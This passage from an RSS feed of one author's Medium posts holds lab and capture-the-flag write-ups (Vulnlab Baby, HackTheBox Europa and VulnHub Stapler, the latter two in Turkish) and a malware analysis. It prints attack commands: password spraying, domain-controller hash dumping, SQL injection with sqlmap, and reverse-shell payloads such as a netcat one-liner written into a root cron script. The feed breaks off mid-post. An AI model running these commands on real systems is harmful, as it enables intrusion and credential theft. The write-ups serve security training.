        </item>
        <item>
            <title><![CDATA[Vulnlab Baby Active Directory]]></title>
            <link>https://medium.com/@mustafagurkankarakaya/vulnlab-baby-active-directory-5c6b02d93e4a?source=rss-befaf90d3d95------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c6b02d93e4a</guid>
            <dc:creator><![CDATA[Mustafa Gürkan Karakaya]]></dc:creator>
            <pubDate>Fri, 01 Nov 2024 12:47:55 GMT</pubDate>
            <atom:updated>2024-11-01T12:47:55.317Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tCE8ktW_ri-mEzCJfjziTQ.jpeg" /></figure><p><em>First, we gather information about open ports and services on the target system using nmap.</em></p><ol><li><strong>Reconnaissance with Nmap</strong></li></ol><pre>nmap -A -T4 -Pn 10.10.116.118</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YhRiBcrW5JA2Y4YVhFYO9g.png" /></figure><p><em>We observed in the results that port </em><strong><em>389</em></strong><em> is open and running </em><strong><em>LDAP</em></strong><em>. We can proceed with our next steps by performing enumeration activities on</em><strong><em> LDAP</em></strong><em>. Various tools can be used for </em><strong><em>LDAP</em></strong><em> enumeration, such as </em><strong><em>enum4linux</em></strong><em>, </em><strong><em>windapsearch</em></strong><em>, </em><strong><em>ldapsearch</em></strong><em>, and </em><strong><em>Jxplorer</em></strong><em>. Here, we will use the </em><strong><em>ldapsearch</em></strong><em> tool.</em></p><p><strong>2. LDAP Enumeration with LDAPSEARCH</strong></p><pre>ldapsearch -x -H ldap://10.10.116.118:389 -b &quot;DC=baby,DC=vl&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YviRr6xOFCTIFoxZQpoWCQ.png" /></figure><p><em>Using </em><strong><em>ldapsearch</em></strong><em>, we were able to obtain information about the usernames of users in the </em><strong><em>Active Directory</em></strong><em> environment and the groups these users belong to. Additionally, we found a password in cleartext in the description field. We now have a list of </em><strong><em>users</em></strong><em> and a </em><strong><em>password</em></strong><em>. We can perform </em><strong><em>password spraying</em></strong><em> to identify which user this password belongs to.</em></p><p><strong>3. Password Spraying</strong></p><pre>crackmapexec smb -u user.txt -p pass.txt -d baby.vl 10.10.116.118</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rNZXM1NyE4FVCwUOA1mWng.png" /></figure><p><em>As a result of the</em><strong><em> password spray</em></strong><em>, we identified that the </em><strong><em>cleartext password</em></strong><em> we found belongs to the user </em><strong><em>Caroline.Robinson</em></strong><em>. However, the user’s password is currently </em><strong><em>expired</em></strong><em>, so we need to change this password.</em></p><p><em>We can change the user’s password using the </em><strong><em>smbpasswd</em></strong><em> tool.</em></p><pre>smbpasswd -U Caroline.Robinson -r 10.10.116.118</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q-eUs3Zx68pyIIXNFwty_w.png" /></figure><p><em>Now, we can log into the server using the </em><strong><em>evil-winrm</em></strong><em> tool with the user whose password we changed.</em></p><p><strong>4. Privilege Escalation</strong></p><pre>evil-winrm -i 10.10.116.118 -u Caroline.Robinson -p &#39;Pass123.&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MvVrE81YubRMCvnVwkK2Lg.png" /></figure><p><em>After logging in with the user, we can view the user’s privileges using the </em><em>whoami /priv command. The command output shows that the user has the </em><strong><em>SeBackupPrivilege</em></strong><em> privilege. We can investigate how we might exploit this privilege and what actions it allows us to perform.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gmyc_sm3_NWGLnAe1EsfHw.png" /></figure><p><em>With an understanding of the process we’re about to execute, let’s proceed. In a Domain Controller, unlike standalone exploitation, we require both the </em><em>ntds.dit file and the </em><strong><em>system hive </em></strong><em>to extract hashes. The challenge with the </em><em>ntds.dit file is that it remains in use while the target machine is running, making it impossible to copy through standard methods. To work around this, we’ll leverage the </em><em>diskshadow functionality. This built-in Windows tool allows us to create a copy of an active drive. There are ways to use </em><em>diskshadow, such as directly providing commands within its shell, but this approach can be complex. Instead, we’ll create a </em><strong><em>Distributed Shell File</em></strong><em> (</em><em>.dsh file) containing all the necessary commands for </em><em>diskshadow to create a full backup of our Windows drive, which we can then use to retrieve the </em><em>ntds.dit file.</em></p><pre>set context persistent nowriters<br>add volume c: alias abc<br>create<br>expose %abc% z:</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k3URasS89cwyX26N8ivTJw.png" /></figure><p><em>Lets upload our </em><strong><em>Distributed Shell File </em></strong><em>to the machine with uplaod command.</em></p><pre>upload /home/kali/vulnlab/baby/abc.dsh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UYMZUL0Ru-mvOyxCkwUc2w.png" /></figure><p><em>Lets execute </em>diskshadow /s abc.dsh <em>command to create volume of c drive and save as z drive.</em></p><pre>diskshadow /s abc.dsh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jDUOPIj411hylCAFEvjVBA.png" /></figure><p><em>Next, let’s copy the backed-up ntds file into the current folder.</em></p><pre>robocopy /b z:\windows\ntds . ntds.dit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m5MgFquYtVVguPAXnFNRKA.png" /></figure><p>Let’s dump to system HIVE with associated command:</p><pre>reg save hklm\system system</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2jNER0tbH4xxhL3EoV6Efw.png" /></figure><p><em>Then download this 2 files to local.</em></p><pre>download ntds.dit<br>download system</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yjs-NdGbHN1w31T5KIbucA.png" /></figure><p><em>We can obtain password hashes by using </em><strong><em>impacket-secretsdump</em></strong><em> with the ntds and system files.</em></p><pre>impacket-secretsdump -ntds ntds.dit -system system LOCAL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZAjLgZ8HCCeNxgmdytpMFQ.png" /></figure><p><em>Then we can login with adminastrator user to </em><strong><em>Active Directory</em></strong><em> with </em><strong><em>hash</em></strong><em> we extract.</em></p><pre>evil-winrm -i 10.10.116.118 -u Administrator -H &#39;ee4457ae59f1e3fbd764e33d9cef123d&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c7FeI3Xd4F5_AzByQikMLg.png" /></figure><pre>whoami /priv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iwO0wKPm_ZECaTKmuNZcWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3UHwX_JIUOLSgG_J6KWBQQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c6b02d93e4a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Analysis #1]]></title>
            <link>https://medium.com/@mustafagurkankarakaya/malware-analysis-1-c14c96254199?source=rss-befaf90d3d95------2</link>
            <guid isPermaLink="false">https://medium.com/p/c14c96254199</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Mustafa Gürkan Karakaya]]></dc:creator>
            <pubDate>Sat, 29 Jun 2024 16:04:22 GMT</pubDate>
            <atom:updated>2024-06-29T16:04:22.552Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9kB4DuzeodZ4VgCnAB_tWQ.png" /></figure><blockquote>When we perform static analysis on the malware, we can observe that it includes an export function named <strong>“installer,”</strong> which indicates it may be responsible for installing the malicious software.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H4ee4LI9-JyJa-3EhGNBdg.png" /></figure><blockquote>By searching the hash of the malware in some threat intelligence sources below, we can gain some insights into its behavior.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4SkwtFJCN2FB7jUH3e0TQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CFFH8iPxwvCs4l-WolWFMA.png" /></figure><blockquote>During the static analysis process, we carefully examine various string values found within the malware. We take note of any strings that appear suspicious or seem to be potentially related to the malicious activity. These identified strings can be valuable and utilized in subsequent stages of our analysis to gain a deeper understanding of the malware’s behavior and functionality.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YejxD5BsWFpaIrMFaEjswQ.png" /></figure><blockquote>The presence of strings such as wsock32.dll and send suggests that this malware is likely to use sockets for communication with a Command and Control server. Since the send function is not listed in the Imports and wsock32.dll is not among the imported libraries, it is probable that the malware will dynamically resolve and import this function during its execution.</blockquote><blockquote>When the malware is executed, it has been observed to copy itself into the System32 directory under the name <strong>spoolvxxx32.dll</strong>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*upiMDn0JfcThQklLKeE8mg.png" /></figure><blockquote>When examining the command line outputs after the malware is executed, it becomes evident that the malicious DLL file is triggered by the <strong>“installer”</strong> function using the rundll command. This observation indicates that the rundll command is used to initiate the malware’s activities, specifically calling the <strong>“installer”</strong> function within the DLL file. This step is crucial in understanding how the malware begins its execution process.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*UdVz3vtRA7KUs4glYbSRQg.png" /></figure><blockquote>With static analysis and the Autoruns tool, we can identify the added or modified registry keys. The registry key shown below has been used to achieve persistence on the systems.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tLO6QGaMBlRgSS4zp4bqiQ.png" /></figure><blockquote>The <strong>AppInit_DLLs</strong> registry key has been used to achieve <strong>persistence</strong> on the systems.Proceeding to Basic Dynamic Analysis and running the malware using rundll32.exe, we observe, as anticipated from the string analysis, that the malware gains persistence through the <strong>AppInit_DLLs</strong> registry key. This method ensures that the DLL is loaded by every process that loads <strong>User32.dll</strong>, a very common occurrence.</blockquote><pre>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Windows\AppInit_DLLs : &quot;spoolvxx32.dll&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YVjt4ZHObbSa9D0UPqElmg.png" /></figure><blockquote>This is how the malware establishes persistence, utilizing the AppInit_DLLs registry key. By doing this, the DLL gets loaded by any process that loads <strong>User32.dll.</strong> Now, let’s examine the<strong> DLL Main </strong>to understand what occurs when it is loaded by another process.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*H90nrGgJn_y6tBvpmER7Gg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*6pMveS4A-X2oImC8dHqreg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*9w6dtGd5MuyRrq52GfdOUg.png" /></figure><blockquote>When using IDA Pro’s flow visualization, we can focus our analysis on the most frequently called function in the DLL main.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LTcI0HalTEXVxVfOpEXlAw.png" /></figure><blockquote>The malicious DLL file operates within these executable files.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*zIL-QaYuCpOdT31mRH0QtA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*AZfOZYGDjj8eFW0qlpipFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*tG0ZdaPkEWVZZrQFfjxiFw.png" /></figure><blockquote>The DLL file calls the following subroutines.</blockquote><pre>sub_100013BD<br>sub_100012A3<br>sub_10001499</pre><blockquote><strong>GetModuleHandleA</strong> is a function that is part of the Windows API, used to retrieve a handle to the specified module (DLL or EXE file).<strong>GetModuleHandleA</strong> retrieves a handle to a loaded module without loading it if it is not already loaded. It is typically used to obtain a handle to another module within an application or library. For example, it can be used within a DLL to access another DLL.</blockquote><p>Example of usage<strong><em>GetModuleHandleA:</em></strong></p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>int main() {<br>    <br>    HMODULE hModule = GetModuleHandleA(&quot;kernel32.dll&quot;);<br><br>    if (hModule != NULL) {<br>        printf(&quot;Module handle: %p\n&quot;, hModule);<br>    } else {<br>        printf(&quot;Failed to get module handle. Error: %lu\n&quot;, GetLastError());<br>    }<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*yven2KPpFCiRRsCdBuvJDA.png" /></figure><blockquote><strong>LoadLibraryA</strong> loads the specified DLL into memory and returns a handle to the loaded module. This function is useful when an application needs to load a DLL at runtime. Once loaded, the handle obtained with this function can be used with <strong>GetProcAddress</strong> to access functions within the DLL. When the module is no longer needed, <strong>FreeLibrary</strong> should be called to release it.</blockquote><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>int main() {<br>    <br>    HMODULE hModule = LoadLibraryA(&quot;user32.dll&quot;);<br><br>    if (hModule != NULL) {<br>        printf(&quot;DLL loaded successfully. Module handle: %p\n&quot;, hModule);<br><br>        <br>        FARPROC pMessageBoxA = GetProcAddress(hModule, &quot;MessageBoxA&quot;);<br>        if (pMessageBoxA != NULL) {<br>            printf(&quot;Address of MessageBoxA: %p\n&quot;, pMessageBoxA);<br>        } else {<br>            printf(&quot;Failed to get the address of MessageBoxA. Error: %lu\n&quot;, GetLastError());<br>        }<br><br>        <br>        FreeLibrary(hModule);<br>    } else {<br>        printf(&quot;Failed to load DLL. Error: %lu\n&quot;, GetLastError());<br>    }<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*2Brkxrsng575_MBIjvI9CQ.png" /></figure><blockquote><strong>GetProcAddress</strong> allows you to get the address of a function or variable in a DLL, enabling you to call the function or access the variable dynamically. This is particularly useful for creating flexible and extensible applications where the specific functions to be used may not be known until runtime.</blockquote><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>typedef int (WINAPI *MESSAGEBOXA)(HWND, LPCSTR, LPCSTR, UINT);<br><br>int main() {<br>    <br>    HMODULE hModule = LoadLibraryA(&quot;user32.dll&quot;);<br><br>    if (hModule != NULL) {<br>        printf(&quot;DLL loaded successfully. Module handle: %p\n&quot;, hModule);<br><br>        <br>        MESSAGEBOXA pMessageBoxA = (MESSAGEBOXA)GetProcAddress(hModule, &quot;MessageBoxA&quot;);<br>        if (pMessageBoxA != NULL) {<br>            printf(&quot;Address of MessageBoxA: %p\n&quot;, pMessageBoxA);<br><br>            <br>            pMessageBoxA(NULL, &quot;Hello, world!&quot;, &quot;MessageBoxA&quot;, MB_OK);<br>        } else {<br>            printf(&quot;Failed to get the address of MessageBoxA. Error: %lu\n&quot;, GetLastError());<br>        }<br><br>        <br>        FreeLibrary(hModule);<br>    } else {<br>        printf(&quot;Failed to load DLL. Error: %lu\n&quot;, GetLastError());<br>    }<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*pKw0e84eavgaZGnaw9XRbA.png" /></figure><blockquote>From this, it seems that the program employs inline hooking through this DLL as a type of user-space rootkit. The hooking code appears to be mainly set up within ‘sub_10001203’.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aLF6M01xXOVH8YSPC89tjA.png" /></figure><blockquote>Since the file is encrypted, it will need to be decrypted later on. The function called after reading the file could potentially be used for decrypting this encrypted file. By setting a breakpoint at the address where the function is called, we can intercept its cleartext version in memory.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dHjebBVwr0SmxXMLmUjVXg.png" /></figure><blockquote>By loading the malicious file into OllyDebug program and placing a breakpoint at the memory address where the function is called, we can obtain the encrypted data in cleartext.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*_s6L6P4CtkNnLAZrOuwqTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*TRZ4QjpqpOv0QRnyMm4tBg.png" /></figure><blockquote>Afterwards, during dynamic analysis, if we redirect the traffic from our target machine to the INetSim traffic on our REMnux installed machine, we can view the SMTP traffic passing through as described above.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c14c96254199" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Europa Hack The Box:Makine Çözümü]]></title>
            <link>https://medium.com/@mustafagurkankarakaya/europa-hack-the-box-makine-%C3%A7%C3%B6z%C3%BCm%C3%BC-97ae03ebc539?source=rss-befaf90d3d95------2</link>
            <guid isPermaLink="false">https://medium.com/p/97ae03ebc539</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[Mustafa Gürkan Karakaya]]></dc:creator>
            <pubDate>Mon, 15 Jun 2020 12:32:12 GMT</pubDate>
            <atom:updated>2020-06-15T12:32:12.147Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*b7w8OV736q7wz3UoRver6g.png" /></figure><h3>Reconnaissance</h3><p>Nmap ile açık olan portları ve üzerinde çalışan servisleri öğrenelim.</p><blockquote><strong><em>nmap -sC -sV -T4 -p- 10.10.10.22</em></strong></blockquote><ul><li><strong>-sC</strong>: Default nmap scriptlerinin çalıştırılması</li><li><strong>-sV</strong>: Servis versiyonların tespiti</li><li><strong>-T4: </strong>Paket gönderme hızı</li><li><strong>-p- </strong>Bütün portların taranması</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LBJafTxJmhFSq_WQ1RjN8w.png" /></figure><p><strong>Port 22</strong>: OpenSSH 7.2p2</p><p><strong>Port 80: </strong>Apache httpd 2.4.18</p><p><strong>Port 443</strong>: ssl/http Apache httpd 2.4.18</p><p>22,80 ve 443 portu açık ve SSL kullanılan 443 portuna ait 2 tane daha domain name bulduk.Bu domain nameleri /etc/hosts dosyasına ekleyelim ve ziyaret edelim.<a href="https://admin-portal.europacorp.htb/login.php">admin-portal.europacorp.htb</a> domain nameini 443 portunda ziyaret ettiğimiz zaman bir login ekranı bizi karşıladı.Burp ile proxy kullanarak POST isteğini yakalayım ve sql injection açığı varmı diye kontrol edelim.</p><h3>Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TrRZnb4X17h1fuDMO2TkXQ.png" /></figure><p>Sertifika bilgilerini görüntülediğimizde geçerli olabilecek bir mail adresiyle karşılaştık.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*pdz5wRgmklaQD4t47Gmmgg.png" /></figure><p>Bu mail adresini girip isteği burp ile yakalayalım.</p><p><strong>EXPLOITATION</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ij1uk5tNZdboQs6ZIKRYzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B4b2lOqRZBZP-0ws-mpcxQ.png" /></figure><p>Gelen isteği repeater sekmesine aktardıktan sonra email kısmına ‘ işareti attığımızda response olarak syntax hatası verdi.Yani email parametresinde Error-based sql injection zafiyeti var.Yakaladığımız POST isteğini kaydederk sqlmap aracı ile databaseleri çekmeye çalışalım.</p><blockquote>sqlmap -r euroPa — risk 3 — level 5 -p email — dbs — force-ssl</blockquote><p>Yazılan komutta email parametresinde sql injection zafiyeti olduğundan email parametresini ve sqlmap i kullanacağımız sayfada SSL kullanıldığından — force-ssl parametresini kullandık.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eiYQYxmeKEdBPgx_orWZOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*-3HDADYbI1kegfn2WrtwvA.png" /></figure><p>Databaseleri bulduk şimdi admin databaseindeki tabloları çekmeye çalışalım.</p><blockquote><em>sqlmap -r euroPa — risk 3 — level 5 -p email -D admin — tables — force-ssl</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vvs4fKz4odloaqPoH1gpDA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*t-0E3ANR7iJ2MCMr-V59ag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S1Fw0lfbEuCgpS1El_i9tg.png" /></figure><p>Tablomuzuda seçtikten sonra bu tabloya ait bilgileri dump edelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XGNV5haW1lR2L1mR1wuWCA.png" /></figure><p>Dump edilen hash değerinin hashlendiği algoritmayı öğrenmek için hash-identifier aracını kullanalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*pKEMfcbn2T2VUWV30O6UDg.png" /></figure><p>Hash değerini decode ettiğimiz zaman password değerini bulmuş olduk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*5X9KYJOVCHrxVarT-rB-zQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G-1C2m5Yge78QmkNUU4wkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LBEF8d39yU4FGNAV8OrE-Q.png" /></figure><p>Bulduğumuz passwordle birlikte admin portalına giriş yapmış olduk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fXKft1zy1QPSj76Klm-Z2w.png" /></figure><p>Admin portalın tools sekmesine geldiğimizde bizden ip isteyen ve vpn ile remote olarak bağlanmayı sağlayan bir alan var.Bu isteği burp ile proxy kullanarak yakalayım.Biraz araştırma yaptığımızda PHP nin 5.5.0 versiyonundan önceki versiyonlarda preg_replace() fonksiyonunda gerekli filtrelemeler yapılmadığından uzaktan kod çalıştırmaya olanak tanıdığını keşfettik.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BoGj-4pWwQCZGpwNj0CQhQ.png" /></figure><p>Burp ile isteği repeater sekmesine alarak uzaktan sistem komutlarını çalıştırmayı deneyelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FFQsCbnwjrFRXrqh1sclNg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-JPrWxJuKDfqKFjWu3PReg.png" /></figure><p>Uzaktan komut çalıştırabiliyoruz.Reverse bağlantı sağlayabileceğimz bir payload oluşturup shell alabiliriz.Bunun için msfvenom aracını kullanalım.</p><blockquote><em>msfvenom -p cmd/unix/reverse_netcat lhost=10.10.14.26 lport=1453 R</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a6Cf9zcntF7VAFD1VO0dsw.png" /></figure><p>Oluşturduğumuz payloadın çalışabilmesi için URL encoding işlemi yapmamız gerekir.Bunu Burp Suite aracı ile yapabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A2Bo3eZB9N06U51z3VTwDw.png" /></figure><p>Bu encode ettiğimiz payloadı remote code execution zafiyeti olan parametreye yapıştırıp multi/handler la dinlemeye başlayalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*RLi2mgxLVgfx3qRESGtUTA.png" /></figure><p>Burada reverse_shell alabilmemiz için kullanıcıdan attacker makineye bir istek gelmesi lazım bu sırada attacker makine sadece dinleme işlemini yapmaktadır.Kullanıcıdan attacker makinenin açtığı porta bir istek geldiğinde aynı porttan kullanıcıya bir reverse bağlantı oluşmaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*ucVqodKgZtp-r_ksl0bf1Q.png" /></figure><blockquote><em>set payload cmd/unix/reverse_netcat</em></blockquote><blockquote><em>set lhost 10.10.14.26</em></blockquote><blockquote><em>set lport 1453</em></blockquote><blockquote><em>exploit</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DX9W_HH2NLKZ_PPaNF_Cwg.png" /></figure><p><strong>PRIVILEGE ESCALATION</strong></p><blockquote><em>cat /etc/crontab komutuyla zamanlanmış olan ve root yetkisiyle çalışabilecek program var mı diye kontrol edelim.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WFgkfXGdm5O-CiFsx7hxDw.png" /></figure><p>logcleared.sh dosyasına yazma yetkimiz var ve bu uygulama root yetkileriyle çalışıyor.Bu uygulamanın içine reverse_shell payloadı yerleştirip netcat aracı ile açılan portu tekrar dinlemeye aldığımızda root yetkilerine sahip shell alabiliriz.</p><blockquote><em>msfvenom -p cmd/unix/reverse_netcat lhost=10.10.14.26 lport=1923 R</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5YQ8hiVWUA405Zcu8_bVA.png" /></figure><p>Payloadımızı oluşturduk.Bu payloadı echo komutuyla logcleared.sh dosyasına yazalım .</p><blockquote><em>echo ‘mkfifo /tmp/ljgfd; nc 10.10.14.26 1923 0&lt;/tmp/ljgfd | /bin/sh &gt;/tmp/ljgfd 2&gt;&amp;1; rm /tmp/ljgfd’ &gt; logcleared.sh<br>&lt;d | /bin/sh &gt;/tmp/ljgfd 2&gt;&amp;1; rm /tmp/ljgfd’ &gt; logcleared.sh</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VXh6R6NrHM-aUCftdosp-g.png" /></figure><blockquote><em>nc -lvp 1923</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*_I9Uun953u0mOo5oNNDmeg.png" /></figure><p>Ve root yetkisine sahip shellimiz gelmiş oldu.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97ae03ebc539" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stapler :Makine Çözümü]]></title>
            <link>https://medium.com/@mustafagurkankarakaya/stapler-makine-%C3%A7%C3%B6z%C3%BCm%C3%BC-4d05ec6b0f6b?source=rss-befaf90d3d95------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d05ec6b0f6b</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[Mustafa Gürkan Karakaya]]></dc:creator>
            <pubDate>Sun, 07 Jun 2020 14:48:44 GMT</pubDate>
            <atom:updated>2020-06-07T14:48:44.244Z</atom:updated>
            <content:encoded><![CDATA[<h3>Stapler :Makine Çözümü</h3><p>Hedef makinenin IP adresini netdiscover aracı ile bulalım.IP adresini bulduktan sonra sparta aracı ile açık olan portları ve bu portlar üzerinde çalışan servisleri görüntüleyelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DEL6a9TNvSzvrojVYyVUZg.png" /></figure><p>Well-known portların dışında 12380 portunda Apache servisi çalışıyor.Browser üzerinden porta gidelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aCoaPHOSVxP5KA-GZjgCqg.png" /></figure><p>Çıkan temayı araştırdığımızda bir wordpress teması olduğunu bulduk.</p><blockquote>nikto -h <a href="http://192.168.0.17:12380/">http://192.168.0.17:12380/</a></blockquote><p>12380 portu üzerinde bir nikto taraması yaptığımız zaman sitede SSL kullanıldığını bulduk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UHiAQtv054RnSe-xUku8HQ.png" /></figure><p>Protokolümüzü <a href="https://192.168.0.17:12380/">https</a> olarak değiştirdik ve siteye giriş yaptık.</p><blockquote>nikto -h <a href="https://192.168.0.17:12380/">https://192.168.0.17:12380/</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P1_bal3UzCGjXZ4PFEQylw.png" /></figure><p>nikto ile tarama yaptığımızda /admin112233/ ve /blogblog/ dizinlerini buldu.Sitede yukarda bulduğumuz temadan wordpress kullanıldığını biliyoruz./blogblog/ dizinine gidip wpscan aracını kullanarak wordpress taraması yapalım.</p><blockquote>wpscan — url “<a href="https://192.168.0.17:12380/">https://192.168.0.17:12380/</a>blogblog” — enumerate u — disable-tls-checks</blockquote><p>komutuyla wpscan wordpress kullanıcılarını buldu. — disable-tls-checks diyerek site ssl kullandığından sertifika kontrolü yapmasını engelledik.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vw8_NnrGNwrncm0nNZMN3g.png" /></figure><p>Wordpress login ekranına gelip bulduğumuz kullanıcılar ile dictionary attack yapalım.</p><blockquote>wpscan — url “<a href="https://192.168.0.17:12380/">https://192.168.0.17:12380/</a>blogblog” — usernames john — passwords /root/Downloads/rockyou.txt — disable-tls-checks — pasword-attack wp-login -t 100</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PYNzMeTTijsQ8wOXEHr5pQ.png" /></figure><p>password : incorrect olarak bulundu login sayfasında gidip john kullanıcısıyla giriş yapalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZTaPOkmybCDqy7paE0uDA.png" /></figure><blockquote>msfvenom -p /php/meterpreter/reverse_tcp LHOST=192.168.0.19 LPORT=1453 -f raw shelL.php</blockquote><p>diyerek paylodımız oluşturuyoruz.Reverse shell alabilmek için bu payloadı plugin ya da theme alanlarına upload etmemiz lazım.</p><figure><img alt="" 